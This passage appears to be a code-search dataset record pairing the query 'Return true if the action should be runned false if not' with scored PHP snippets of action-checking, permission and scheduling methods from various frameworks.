$this->getField($fieldTemplate->program_name);\n\n if (!$nameFormingField->isTranslate()) {\n if (CommonModule::isUnderDev())\n return 'ID = ' . $this->id . ' (DEV: represent with empty name)';\n\n return 'ID = ' . $this->id . EssencesModule::t('app', ' (Represent has no name)');\n }\n\n if (CommonModule::isUnderDev())\n return 'ID = ' . $this->id . ' ' . $this->getField($fieldTemplate->program_name);\n\n return (string)$this->getField($fieldTemplate->program_name);\n }", "title": "" }, { "docid": "edcff8e330c29366de44fee03f4f1e01", "score": "0.4994741", "text": "public function getFullNameAttribute()\n {\n return \"{$this->code} - {$this->name}\";\n }", "title": "" }, { "docid": "49a418f00a492b4464f4883fe918af89", "score": "0.499447", "text": "function handle2upperHandle($in)\n{\n\t//\tupper case the words\n\t//\tremove the spaces\n\t//\tie. my-awesome-handle becomes MyAwesomeHandle\n\treturn str_replace(' ','',ucwords(str_replace(array('_','-'),' ',$in)));\n}", "title": "" }, { "docid": "f9eb0540f6fe18d626d8ec438b1dd2cd", "score": "0.4991277", "text": "function getFullName()\n {\n if ($this->full_name === false) {\n if (count($this->getGroups())) {\n $this->full_name = implode('/', $this->getGroups()) . '/' . $this->getName();\n } else {\n $this->full_name = $this->getName();\n }\n }\n\n return $this->full_name;\n }", "title": "" } ]
b340438c1ef3f2247635095d3ab43169
Return true if the action should be runned false if not.
[ { "docid": "f5d17d006945d9fc00e4c26c1ce0c6d7", "score": "0.0", "text": "public function isRunnable(array $params) {\n return $params[\"build_js_doc\"];\n }", "title": "" } ]
[ { "docid": "faf2522b8f49c5a01df052f8e505f18e", "score": "0.7603511", "text": "public function shouldRun(): bool;", "title": "" }, { "docid": "14b66ab619ff11804ab0f6b07817c358", "score": "0.7560439", "text": "public function shouldExecute(): bool\n {\n return true;\n }", "title": "" }, { "docid": "db38d2775f5d5e69f400f4cf7d030319", "score": "0.74820805", "text": "public function hasActions();", "title": "" }, { "docid": "e251136ecac176b64a62f1208bbab4f4", "score": "0.74163806", "text": "public function isActionNeeded(): bool\n\t{\n\t\t$players = $this->match->getPlayers();\n\n\t\t//Both are all-in\n\t\tif(!($players[0]->getStack() || $players[1]->getStack()))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t//A player has folded\n\t\telse if($players[0]->isFolded() || $players[1]->isFolded())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t//Defer to the action object\n\t\telse\n\t\t{\n\t\t\treturn $this->action->isActionNeeded(count($this->board->getCards()));\n\t\t}\n\t}", "title": "" }, { "docid": "33c7e3ff57d60421e592e0ceb74b3367", "score": "0.729447", "text": "public function isActionable() : bool;", "title": "" }, { "docid": "c54357b13e8de808b328f5decef1dac6", "score": "0.72684336", "text": "function is_action_valid() {\n\t\tif(isset($this->capability) && !empty($this->capability)) {\n\t\t\tif(!$this->s->capability_exists($this->capability)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "d414aec76b1ddb6804f3281bea9d0364", "score": "0.71616554", "text": "public function requiresAction()\n {\n return $this->charge->status === 'INITIATED';\n }", "title": "" }, { "docid": "0a6a9df96531dbb7c34767174d52cb05", "score": "0.7121068", "text": "protected abstract function is_actionable();", "title": "" }, { "docid": "557c2f563b87465de91d56723bd6cae7", "score": "0.71209913", "text": "public function hasActions(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "ac142aaacb1de02f0d6c6b1c7506a477", "score": "0.7100139", "text": "public function getIsAllowedAction()\n {\n $actionConfig = $this->getActionConfig();\n return empty($actionConfig) ? false : true;\n }", "title": "" }, { "docid": "a5037a047cb656d028b26a440a6ebfc4", "score": "0.7097311", "text": "public function isExecuted() {}", "title": "" }, { "docid": "4fe5d2c29a3ff41fcc0343697feb808b", "score": "0.7072494", "text": "public function hasAction(){\n return $this->_has(37);\n }", "title": "" }, { "docid": "20222d1cc961be15ace10b774883d521", "score": "0.7067446", "text": "protected function shouldRun(): bool\n {\n return !$this->terminated;\n }", "title": "" }, { "docid": "56e6a7d2615a912c6f65a060df5979f0", "score": "0.7041396", "text": "public function shouldRun(): bool\n {\n return !!$this->option('tasks');\n }", "title": "" }, { "docid": "1195155e77e76cfe6b9741b61bc43630", "score": "0.6943812", "text": "public function isApplicableTo(Action $action): bool;", "title": "" }, { "docid": "21078e042d5b497a9df67074bbc85060", "score": "0.6825679", "text": "public function isStartable()\n {\n return isset($this->actions['start']);\n }", "title": "" }, { "docid": "cf5fd47c164e8ac88bc95e3ab4ba75ca", "score": "0.68149936", "text": "public function is_running(): bool {\n\t\t$start_action = $this->get_action_full_name( self::CHAIN_START );\n\t\t$batch_action = $this->get_action_full_name( self::CHAIN_BATCH );\n\n\t\tif ( $this->action_scheduler->next_scheduled_action( $start_action, null, $this->get_group_name() ) ) {\n\t\t\treturn true;\n\t\t}\n\t\tif ( $this->action_scheduler->next_scheduled_action( $batch_action, null, $this->get_group_name() ) ) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "cee616290d160592702be0f1145c8f21", "score": "0.6814133", "text": "function CanHandle()\n {\n $method = 'Do' . ucfirst( strtolower( $this->action ) ) . ucfirst( strtolower( $this->task ) );\n\n if( !method_exists( $this, $method ) ){\n return false;\n }\n\n if( !is_callable( array( $this, $method ) ) ){\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "493f5e87fc7b4fd0098a802469c4163e", "score": "0.6795997", "text": "private function validateAction() {\n if (!in_array($this->action, $this->allowedActions())\n || !$this->checkImplementedActions($this->allowedActions)\n ) {\n $configToUse = _SUGAR::getControllerConfiguration()->StrickCheckActions() !== null ?\n _SUGAR::getControllerConfiguration() :\n _SUGAR::getGlobalConfiguration();\n\n $strictCheck = $configToUse !== null ?\n ($configToUse->StrickCheckActions() == 1 ? true : false) :\n false;\n\n if ($strictCheck) {\n throw new ActionNotHandledException($this->action);\n } else {\n return false;\n }\n }\n }", "title": "" }, { "docid": "83b10e01b8c29950c5c3dabe870452f6", "score": "0.67814744", "text": "function isExecuted() ;", "title": "" }, { "docid": "c0acf082f75dce939d13a15459f2b8a7", "score": "0.67610633", "text": "public function isExecuted(): bool\n {\n return $this->executed;\n }", "title": "" }, { "docid": "c48e35d079083855efa556397bc2325e", "score": "0.6737477", "text": "public function isActionValid ()\n\t{\n\t\treturn substr ($this->action, 0, 2) !== '__' && !in_array (strtolower ($this->action), $this->invalidActions);\n\t}", "title": "" }, { "docid": "26936fcb3b9de82043d7bfe5dbcf2bf9", "score": "0.6701226", "text": "public function hasActionId()\n {\n return $this->actionId !== null;\n }", "title": "" }, { "docid": "1e825309dd0401b3c8c20458c8f8dde9", "score": "0.6678676", "text": "abstract function hasRun();", "title": "" }, { "docid": "5f8692f431b951fe94243390c688f5b0", "score": "0.6668935", "text": "public function detectPerform()\n {\n $action = self::actionValue();\n $this->detectPostDraft();\n\n if (is_null($this->combo) || !$action) {\n return false;\n }\n\n $this->perform($action);\n }", "title": "" }, { "docid": "d5f36dc1087dcfceda41f951ad9930af", "score": "0.6666724", "text": "protected function isScheduledActionsAllowed()\n {\n return true;\n }", "title": "" }, { "docid": "f71f9bb3c1f8eefcfff96a35bc799211", "score": "0.6654329", "text": "public function isExecuted(){\n return $this->executed;\n }", "title": "" }, { "docid": "2f9ba7ecc07b58e3c89cc048967ea484", "score": "0.6629004", "text": "function isAction($action)\n {\n return ($action === getAction());\n }", "title": "" }, { "docid": "37e203474121b881597edd3990cdc8e6", "score": "0.6627404", "text": "public function isValid() {\n\t\t// Test: make sure a main action is specified\n\t\t$test1 = !empty($this->action);\n\t\t\n\t\t// Test: make sure the api class for the main action is available\n\t\t$test2 = class_exists('api_' . $this->action);\n\t\t\n\t\t// Return result\n\t\treturn ($test1 && $test2);\n\t}", "title": "" }, { "docid": "7190284e4600ee8deeb17369bd682f69", "score": "0.6593529", "text": "public function automated() : bool\n {\n return true;\n }", "title": "" }, { "docid": "8eb342553af5057cce5d74232ae5699b", "score": "0.6588024", "text": "public function isAction($action)\n {\n }", "title": "" }, { "docid": "6a674d1dc195f9ae91451cf60f7fd048", "score": "0.6558233", "text": "function can_run()\r\n\t{\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "4168d2c6b646803502e59d574028b17e", "score": "0.6541455", "text": "public function packageHasAction($name)\n\t{\n\t\t$actions = $this->getActions();\n\t\treturn isset($actions[$name]);\n\t}", "title": "" }, { "docid": "a88a9f5f5c8292ce59c9b6bd3c956c46", "score": "0.65259516", "text": "public function can($action)\n\t{\n\t\tswitch ($action)\n\t\t{\n\t\t\tcase 'buy':\n\t\t\tcase 'purchase':\n\t\t\t{\n\t\t\t\treturn $this->getAttribute('status') && $this->getAttribute('status_sell');\n\t\t\t}\n\n\t\t\tcase 'feature':\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\tcase 'feature_remove':\n\t\t\t{\n\t\t\t\treturn $this->getAttribute('feature');\n\t\t\t}\n\t\t}\n\n\t\treturn parent::can($action);\n\t}", "title": "" }, { "docid": "1fea1e0518171b89ce860cb96903b3be", "score": "0.6517715", "text": "function hasAction($action)\n {\n return in_array($action, $this->actions);\n }", "title": "" }, { "docid": "60a53a126bb7bf25a6ba2158627706e8", "score": "0.65097946", "text": "public function isCallable()\n {\n $handler = [$this->controller, $this->action];\n\n if (!method_exists($this->controller, $this->action)) {\n return false;\n }\n\n $reflection = new \\ReflectionMethod($this->controller, $this->action);\n if (!$reflection->isPublic()) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "4e7c2a13d894fe9631b149acfbfdca0d", "score": "0.6486252", "text": "function CanHandle()\n\t{\n\t\t$method = 'Do' . ucfirst( strtolower( $this->task ) );\n\n\t\tif( !method_exists( $this, $method ) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tif( !is_callable( array( $this, $method ) ) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "fc69dead5be7cb75be015f8edfa54509", "score": "0.6483116", "text": "public function isRestartable()\n {\n return isset($this->actions['restart']);\n }", "title": "" }, { "docid": "82193539b500cdc81b8ddb0c5305e22e", "score": "0.6472099", "text": "function supportsAction($action)\n {\n $prependedActionName = \"do\" . trim($action);\n if (method_exists($this, $prependedActionName)) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "1784788eea06d2c37ad894d44b52edca", "score": "0.646316", "text": "final protected static function canRun() : bool\n\t{\n\t\t$bCanRun = parent::canRun();\n\n\t\tif ($bCanRun) {\n\t\t\t// Check if the ACLs task is well enabled\n\t\t\t$bCanRun = self::isEnabled(false);\n\n\t\t\tif ($bCanRun) {\n\t\t\t\t// This plugin is only needed when at least one folder\n\t\t\t\t// has been protected\n\t\t\t\t$arrOptions = self::getOptions('folders', array());\n\n\t\t\t\t$bCanRun = (count($arrOptions) > 0);\n\n\t\t\t\tif (!$bCanRun) {\n\t\t\t\t\t$aeSession = \\MarkNotes\\Session::getInstance();\n\t\t\t\t\t$aeSession->set('acls', null);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t/*<!-- build:debug -->*/\n\t\t\t\t$aeSettings = \\MarkNotes\\Settings::getInstance();\n\t\t\t\tif ($aeSettings->getDebugMode()) {\n\t\t\t\t\t$aeDebug = \\MarkNotes\\Debug::getInstance();\n\t\t\t\t\t$aeDebug->log(\"The ACLs task plugin is disabled in settings.json (\".self::$json_settings.\")\", \"debug\");\n\t\t\t\t}\n\t\t\t\t/*<!-- endbuild -->*/\n\t\t\t}\n\t\t}\n\n\t\treturn $bCanRun;\n\t}", "title": "" }, { "docid": "3b9ee8721117f351e1793fcd0d5b7ebe", "score": "0.6458992", "text": "public function canRun(): bool\n {\n return $this->nextUUId() === $this->getUUId();\n }", "title": "" }, { "docid": "9217988ebc048379a3a380f59c5474a8", "score": "0.64533275", "text": "public function hasMessageAction()\n {\n return $this->get(self::MESSAGEACTION) !== null;\n }", "title": "" }, { "docid": "3618af7c08aa283666dcc028c66f3262", "score": "0.6399437", "text": "public function canApply(): bool\n {\n return true;\n }", "title": "" }, { "docid": "8fa5b84eeb093a5688aba344a4b35909", "score": "0.6397062", "text": "public function hasAction($name)\n {\n return array_key_exists($name, $this->actionList);\n }", "title": "" }, { "docid": "ca77bb989c5f9022533f203247c7b10c", "score": "0.6396339", "text": "private function validateAction($action){\n return in_array($action, $this->actions);\n }", "title": "" }, { "docid": "45d5b54872f4edc501bbceb1f171bbfa", "score": "0.638919", "text": "public function can(): bool {\n if ($this->no_results)\n return false;\n\n $actions = func_get_args();\n\n if (end($actions) !== true) {\n # OR comparison\n foreach ($actions as $action) {\n if (in_array($action, $this->permissions))\n return true;\n }\n\n return false;\n } else {\n # AND comparison\n array_pop($actions);\n\n foreach ($actions as $action) {\n if (!in_array($action, $this->permissions))\n return false;\n }\n\n return true;\n }\n }", "title": "" }, { "docid": "2299795f4ed32bbc196234b407d43086", "score": "0.6376793", "text": "abstract public function allowedToBeRunning() :bool;", "title": "" }, { "docid": "94523fccb4cd0688f972b645d2be9279", "score": "0.63540727", "text": "public function execute(): bool\n {\n return true;\n }", "title": "" }, { "docid": "0abfc59c23dc21f61edd24993f695014", "score": "0.63470906", "text": "protected function beforeAction($action)\n {\n \treturn true;\n }", "title": "" }, { "docid": "91c45e00a02a01bc102175ce15b11c16", "score": "0.63409716", "text": "public function should_run()\n\t{\n\t\tif($this->config['lc_expire_days'])\n\t\t{\n\t\t\treturn $this->config['lc_prune_last_gc'] < time() - $this->config['lc_prune_gc'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "4b2fcabfee087f31b7750249ddc31458", "score": "0.6340032", "text": "private function schedulerWasExecuted() : bool {}", "title": "" }, { "docid": "39472c59dbfd10f4ff4d452e59baae06", "score": "0.63303334", "text": "protected function beforeAction($action)\n\t{\n return true;\n }", "title": "" }, { "docid": "d2b7507913e65d3322f77f02cd4f73c4", "score": "0.6293226", "text": "public function beforeAction($action)\n {\n // which are triggered on the [[EVENT_BEFORE_ACTION]] event, e.g. PageCache or AccessControl\n\n if (!parent::beforeAction($action)) {\n return false;\n }\n\n if(Yii::$app->workers->isGuest) {\n $this->redirect(['/workers']);\n }\n\n // other custom code here\n\n return true; // or false to not run the action\n }", "title": "" }, { "docid": "19a8659b0c7dccdc2691bb64e7ebd9d4", "score": "0.62886", "text": "public function isRequested();", "title": "" }, { "docid": "9d545ad79d3ef826ed0eabc7f87a18b1", "score": "0.62810344", "text": "public function hasAction($action) {\n if ($action != 'view') {\n return false;\n } else {\n return $this->getRequest()->isPost()\n && $this->getRequest()->getPost('advancedattributes') == 'true';\n }\n }", "title": "" }, { "docid": "6ae414635ff209283ad284706d9d9202", "score": "0.62585896", "text": "public function hasAction($action)\n {\n if ($action == 'index') {\n return true;\n }\n\n // Don't allow access to any non-public methods (inspect instance plus all extensions)\n $insts = array_merge([$this], (array) $this->getExtensionInstances());\n foreach ($insts as $inst) {\n if (!method_exists($inst, $action ?? '')) {\n continue;\n }\n $r = new ReflectionClass(get_class($inst));\n $m = $r->getMethod($action);\n if (!$m || !$m->isPublic()) {\n return false;\n }\n }\n\n $action = strtolower($action ?? '');\n $actions = $this->allowedActions();\n\n // Check if the action is defined in the allowed actions of any ancestry class\n // as either a key or value. Note that if the action is numeric, then keys are not\n // searched for actions to prevent actual array keys being recognised as actions.\n if (is_array($actions)) {\n $isKey = !is_numeric($action) && array_key_exists($action, $actions ?? []);\n $isValue = in_array($action, $actions ?? [], true);\n if ($isKey || $isValue) {\n return true;\n }\n }\n\n $actionsWithoutExtra = $this->config()->get('allowed_actions', true);\n if (!is_array($actions) || !$actionsWithoutExtra) {\n if (!in_array(strtolower($action ?? ''), ['run', 'doinit']) && method_exists($this, $action ?? '')) {\n return true;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "8e9e69707f152cfc57a6252b82e154b7", "score": "0.6235925", "text": "public function beforeAction($action)\n {\n if(!parent::beforeAction($action)){\n return false;\n }\n /// custom code\n $data = 2;\n if($data == 2){\n return true;\n }\n return false; \n }", "title": "" }, { "docid": "8bb7dd699b5f2a68ef60251e5d800da9", "score": "0.623438", "text": "public function wantToExecute($event)\n {\n return parent::wantToExecute($event)\n && (empty($this->operationName)\n || ($event->getKey() == $this->operationName)\n );\n }", "title": "" }, { "docid": "00c24ee6c3e37ccdbba98a88f9dc5b10", "score": "0.62145305", "text": "public function callable($name)\n {\n if (method_exists($this, self::toAction($name))) return true;\n\n return false;\n }", "title": "" }, { "docid": "365a0d0cc3d3458f2c5cfd3b827e23b2", "score": "0.6212646", "text": "public function requiresMfaSetup(): bool\n {\n if ($this->mfaSession->isActionEnable()) {\n return true;\n }\n\n if ($this->mfaSession->isActionDisable()) {\n return false;\n }\n\n if ($this->mfaSession->isBackend()) {\n $method = Models\\Settings::get(\n 'mfa_method_backend',\n Models\\Settings::MFA_METHOD_PROMPTED\n );\n } else {\n $method = Models\\Settings::get(\n 'mfa_method',\n Models\\Settings::MFA_METHOD_PROMPTED\n );\n }\n\n switch ($method) {\n case Models\\Settings::MFA_METHOD_OPTIONAL:\n return false;\n case Models\\Settings::MFA_METHOD_PROMPTED:\n case Models\\Settings::MFA_METHOD_ENFORCED:\n return !$this->requiresMfa();\n }\n\n return false;\n }", "title": "" }, { "docid": "c396131bbbd8e5a448d978d290415beb", "score": "0.61891335", "text": "protected function canApplyAction()\n {\n if ($this->inCommercialCart) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "34fea1018ab82cd325072213dea69683", "score": "0.61878055", "text": "public function run(): bool;", "title": "" }, { "docid": "08a90e450ac64434bb48e2ee72b326b4", "score": "0.61767024", "text": "public function hasGroupActions()\n\t{\n\t\treturn (bool) $this->group_action_collection;\n\t}", "title": "" }, { "docid": "a37425b663f0870cc128269ad79423e2", "score": "0.6172581", "text": "protected function passActionAuth(){\n if(!is_array($this->secure_actions) || Auth::instance()->logged_in('admin'))\n return true;\n if(\n array_key_exists($this->request->action(), $this->secure_actions)\n && !is_null($this->secure_actions[$this->request->action()])\n && !Auth::instance()->logged_in($this->secure_actions[$this->request->action()])\n )\n return false;\n return true;\n\n }", "title": "" }, { "docid": "b66ba976c571d6060fce2bc65c647d38", "score": "0.61721593", "text": "public function executeAction() {\n if (!empty($this->action)) {\n if ($this->validateAction() === false) {\n return false;\n }\n\n $actionFunction = $this->allowedActions[$this->action];\n $this->$actionFunction();\n }\n }", "title": "" }, { "docid": "4e2314b53584ff767273dd4aae892f6d", "score": "0.615583", "text": "function gf_has_action( $action, $function_to_check = false ) {\r\n\t\treturn gf_has_filters( $action, $function_to_check );\r\n\t}", "title": "" }, { "docid": "aeae13a35b989965f4261b0c9a494697", "score": "0.6143961", "text": "protected function doPreUpdateAction()\n {\n return false;\n }", "title": "" }, { "docid": "07f869260ba470722e523c2726179a05", "score": "0.61405", "text": "public function validate(){\r\n\r\n if ($this->actionType == 'CREATE'){\r\n\r\n }else if ($this->actionType == 'UPDATE'){\r\n\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "9163c216ff97bcb17ee2442dd89f781b", "score": "0.6128179", "text": "function isAdminAction() {\n if (isset($this->params['admin']) && $this->params['admin'] === Configure::read('Wildflower.prefix')) return true;\n return (isset($this->params['prefix']) && $this->params['prefix'] == Configure::read('Wildflower.prefix'));\n }", "title": "" }, { "docid": "9adda41cb9e64f881032d2b11ee2dffd", "score": "0.61248934", "text": "function runPlugin(&$controller)\n {\n\n if(!isset($this->controllerActions[$controller->name]))\n {\n return false;\n }\n\n $actions = !is_array($this->controllerActions[$controller->name])\n ?\n [$this->controllerActions[$controller->name]]\n :\n $this->controllerActions[$controller->name];\n\n if(!in_array('all',$actions) && !in_array($controller->action,$actions))\n {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "51890b0f89da2cbca840deebd964ca87", "score": "0.6116154", "text": "public function isButtonValidBrokenSetupMultiplePrimaryActionsGivenExpectFalse() {}", "title": "" }, { "docid": "8245daa2623d7c8e6dc21d7665fa7789", "score": "0.6111902", "text": "public function isCalled(): bool;", "title": "" }, { "docid": "ef34f47f8970d2826b0adba2d499a241", "score": "0.61117727", "text": "public function shouldFinisherRun(): bool\n {\n return true;\n }", "title": "" }, { "docid": "cea6f4c04bc62b9bb69f1a7b3c935d1b", "score": "0.6105412", "text": "public function callBeforeUpdate() : bool\n {\n if ($this->beforeUpdate() == false) {\n return false;\n }\n \n if ($this->validateUnique(true) == false) {\n return false;\n }\n \n $resultBeforeUpdate = true;\n for ($i = 0; $i < count($this->son1x1); $i++) {\n if (isset($_POST[$this->son1x1[$i]->name.'_action'])) {\n if ($this->son1x1[$i]->callBeforeUpdate() == false) {\n $resultBeforeUpdate = false;\n $this->msgErrorBeforeUpdate = $this->son1x1[$i]->msgErrorBeforeUpdate;\n }\n }\n }\n \n return $resultBeforeUpdate;\n }", "title": "" }, { "docid": "6221061ddb3784f7c2adf4ed0d1d8a8b", "score": "0.6104311", "text": "public function isAuthorized() {\r\n $controllerName = $this->getRequest()->getControllerName();\r\n $actionName = $this->getRequest()->getActionName();\r\n \r\n $actionAccessMethodName = $actionName . \"ActionAccess\";\r\n if(method_exists($this, $actionAccessMethodName)) {\r\n return $this->$actionAccessMethodName();\r\n }\r\n \r\n return true;\r\n }", "title": "" }, { "docid": "7ee20d880b7548f830528d0151b479b8", "score": "0.60695285", "text": "public function canBeUsed(): bool;", "title": "" }, { "docid": "0033ceac906a84c5cdfc319f05e15aeb", "score": "0.6066014", "text": "public function checkAction() {\n }", "title": "" }, { "docid": "51e705a94f5f946ce651390b3a1cdf84", "score": "0.6064208", "text": "public function test() {\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "2e2922c7323a177c585f074df6e28217", "score": "0.60568184", "text": "public function inRange($action) {\n\t\treturn in_array($action, $this->availableActions);\n\t}", "title": "" }, { "docid": "ea5d9dc0401918b9cca61e5543e8e224", "score": "0.60563964", "text": "public function isApplied();", "title": "" }, { "docid": "15b9d78866251cbb39df080688ad3f2a", "score": "0.6051575", "text": "function is_script_run()\n\t{\n\t\tif ($this->call(\"Debug.IsScriptRun\")==true)\n return true;\n else \n return false;\n\t}", "title": "" }, { "docid": "2d61abf2d05b005f3826ff49dd2d5fab", "score": "0.6051078", "text": "public function isAllowed()\n {\n if(empty($this->_url['module']))\n {\n $this->setUrl(array());\n }\n return Core_Util_User::hasAccess($this->_url['module'] . '::' . $this->_url['controller'], $this->_url['action']);\n }", "title": "" }, { "docid": "bdef481857928ef469c9311b491c24b6", "score": "0.6041679", "text": "public function shouldBeQueued() {\n $last_run = $this->getLastRunAt();\n\n if ($last_run === 0) {\n return TRUE;\n }\n\n $cron_interval = $this->getCronIntervalTime();\n\n return ($last_run + $cron_interval) < REQUEST_TIME;\n }", "title": "" }, { "docid": "1902188d7737ac3cf8e00cce1bcc44ce", "score": "0.60399103", "text": "public function getActionable(): ?bool\n {\n return $this->actionable;\n }", "title": "" }, { "docid": "2823db41861d40e86210744162a8fef6", "score": "0.6029785", "text": "private static function _isExecuted($name)\n {\n return self::$_executed[$name];\n }", "title": "" }, { "docid": "dd29b19e81e1d52cbd7f2c5b7154b8d2", "score": "0.6029298", "text": "private function _checkTargettedAction($verb, &$actionData, &$ob, &$user,\n $isRegistered = FALSE, $isAdmin = FALSE)\n {\n $target =& $actionData[3];\n parse_dp_callable($target, $verb, $this, $ob, $user);\n\n if (is_array($target) && 2 === count($target) && isset($target[0])\n && is_object($target[0]) && isset($target[1])\n && is_integer($target[1])) {\n $ob =& $target[0];\n $target = $target[1];\n }\n\n if ($target === DP_ACTION_TARGET_NONE) {\n return FALSE;\n }\n\n $compare = 0;\n\n if ($ob === $this) {\n $compare = $compare | DP_ACTION_TARGET_SELF;\n } else {\n if (isset($this->isLiving) && TRUE === $this->isLiving) {\n $compare = $compare | DP_ACTION_TARGET_LIVING;\n\n if (isset($this->isUser) && TRUE === $this->isUser) {\n $compare = $compare | DP_ACTION_TARGET_USER;\n }\n } elseif (FALSE !== ($this_env = $this->getEnvironment())\n && FALSE !== ($ob_env = $ob->getEnvironment())\n && $this_env === $ob_env) {\n $compare = $compare | DP_ACTION_TARGET_OBJENV;\n } elseif (FALSE !== ($this_env = $this->getEnvironment())\n && $this_env === $ob) {\n $compare = $compare | DP_ACTION_TARGET_OBJINV;\n }\n }\n\n if (!($target & $compare)) {\n return FALSE;\n }\n\n $scope =& $actionData[5];\n parse_dp_callable($scope, $verb, $this, $ob, $user);\n\n if (is_array($scope) && 2 === count($scope) && isset($scope[0])\n && is_object($scope[0]) && isset($scope[1])\n && is_integer($scope[1])) {\n $ob =& $scope[0];\n $scope = $scope[1];\n }\n\n if ($scope & DP_ACTION_SCOPE_SELF) {\n if ($user !== $ob) {\n return FALSE;\n }\n }\n if ($scope & DP_ACTION_SCOPE_INVENTORY) {\n if ($user->getEnvironment() !== $ob) {\n return FALSE;\n }\n }\n if ($scope & DP_ACTION_SCOPE_ENVIRONMENT) {\n if ($user->getEnvironment() !== $ob->getEnvironment()) {\n return FALSE;\n }\n }\n\n $auth =& $actionData[4];\n parse_dp_callable($auth, $verb, $this, $ob, $user);\n\n if ($auth & DP_ACTION_AUTHORIZED_GUEST) {\n if (TRUE === $isRegistered) {\n return FALSE;\n }\n } elseif ($auth & DP_ACTION_AUTHORIZED_REGISTERED) {\n if (TRUE !== $isRegistered) {\n return FALSE;\n }\n } elseif ($auth & DP_ACTION_AUTHORIZED_ADMIN) {\n if (TRUE !== $isAdmin) {\n return FALSE;\n }\n }\n\n return TRUE;\n }", "title": "" }, { "docid": "def9c14850a133ef48bfb62bb31ca27c", "score": "0.6026031", "text": "protected function canDecoderExecute() {\n\t\treturn $this->isProperTsfe() && !$this->isInWorkspace();\n\t}", "title": "" }, { "docid": "edaf337cf5e54cc960542c9256d393ba", "score": "0.6024811", "text": "public function hasRelatedActions()\n {\n return !empty($this->relatedActions);\n }", "title": "" }, { "docid": "47f411c3d329bee928046dc8ffcaf1dd", "score": "0.6023032", "text": "private function shouldProceed()\n {\n // check default level\n $apiEnabled = $this->helper->isEnabled();\n $catalogSyncEnabled = $this->helper->isCatalogSyncEnabled();\n\n if ($apiEnabled && $catalogSyncEnabled) {\n return true;\n }\n\n // not enabled at default, check each website, exiting as soon as we find an enabled website\n $websites = $this->helper->getWebsites();\n foreach ($websites as $website) {\n\n $apiEnabled = $this->helper->isEnabled($website);\n $catalogSyncEnabled = $this->helper->isCatalogSyncEnabled($website);\n\n if ($apiEnabled && $catalogSyncEnabled) {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "ee19c3e28102fa61c5a4feabb07edf80", "score": "0.6018384", "text": "public function canIf(string $action): bool\n {\n $roles = $this->getUserRoles();\n $action = Keyword::make($action);\n\n if (\\is_null($this->actions->search($action))) {\n return false;\n }\n\n return $this->checkAuthorization($roles, $action);\n }", "title": "" }, { "docid": "838d16de223cd09a94cccf991657d56a", "score": "0.6000816", "text": "protected function _isAllowed()\n {\n $actionName = $this->getFullActionName();\n\n if ($actionName == 'adminhtml_krexx_config') {\n return Mage::getSingleton('admin/session')->isAllowed('system/krexx/edit');\n }\n\n if ($actionName == 'adminhtml_krexx_feconfig') {\n return Mage::getSingleton('admin/session')->isAllowed('system/krexx/editfe');\n }\n\n if ($actionName == 'adminhtml_krexx_editlocalconfig') {\n return Mage::getSingleton('admin/session')->isAllowed('system/krexx/editlocalconfig');\n }\n\n if ($actionName == 'adminhtml_krexx_docu') {\n return Mage::getSingleton('admin/session')->isAllowed('system/krexx/docu');\n }\n\n // Still here?\n return parent::_isAllowed();\n }", "title": "" }, { "docid": "08691ba77ddde0e997e3315f35438b09", "score": "0.6000782", "text": "public function should_activate() {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "d9bf9979a6714d7cb106f0b2855831f3", "score": "0.59997493", "text": "protected function _checkAccess() {\n\t\t$access = Access::get('acl', $this->_aro, $this->_aco);\n\t\t$action = $this->request->params['action'];\n\n\t\tif (is_array($access) &&\n\t\t\t((array_key_exists('*', $access) && $access['*']) ||\n\t\t\t(array_key_exists($action, $access) && $access[$action]))\n\t\t) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "a98e76c5a1a3ad5c5ba5bf9399a7aa44", "score": "0.59976274", "text": "public function isActive(): bool\n {\n return Input::get('act') == 'compile';\n\t}", "title": "" }, { "docid": "4efb1d525acd9c6f29bb0b2f6922dfe0", "score": "0.5990805", "text": "public function checkAction()\n {\n throw new \\RuntimeException('Should never be called');\n }", "title": "" }, { "docid": "f36c13cfbdfe4d5fa317dc7a7b5090cd", "score": "0.59854305", "text": "public function allowRun() {\n if (is_null($this->_allowRun)) {\n $this->_allowRun = (rand(1, $this->_divisor) == 1);\n }\n return $this->_allowRun;\n }", "title": "" }, { "docid": "55c40e5753d09ef34c04f2c38c2cb10d", "score": "0.59801227", "text": "protected function globalPartnerAllowed($actionName)\r\n\t{\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "bd64fd2ea24f26ee4975fa857ca8f38d", "score": "0.59706414", "text": "public function checkIfNeeded(){\r\n\t\t\r\n\t\tif($this->_needed !== null) return $this->_needed;\r\n\t\t\r\n\t\t$result = false;\r\n\t\tif(Mage::app()->getRequest()->getControllerName() == 'product' && Mage::app()->getRequest()->getActionName() == 'view'){ // correct controller_action\r\n\t\t\tif(!Mage::registry(\"current_category\")) $result = true;\r\n\t\t}\r\n\t\t\r\n\t\treturn $this->_needed = $result;\r\n\t}", "title": "" }, { "docid": "5dc82354934ea16ed42fad749432ef34", "score": "0.5964792", "text": "public function isActivated(){\n\n\t return $this->is_running == 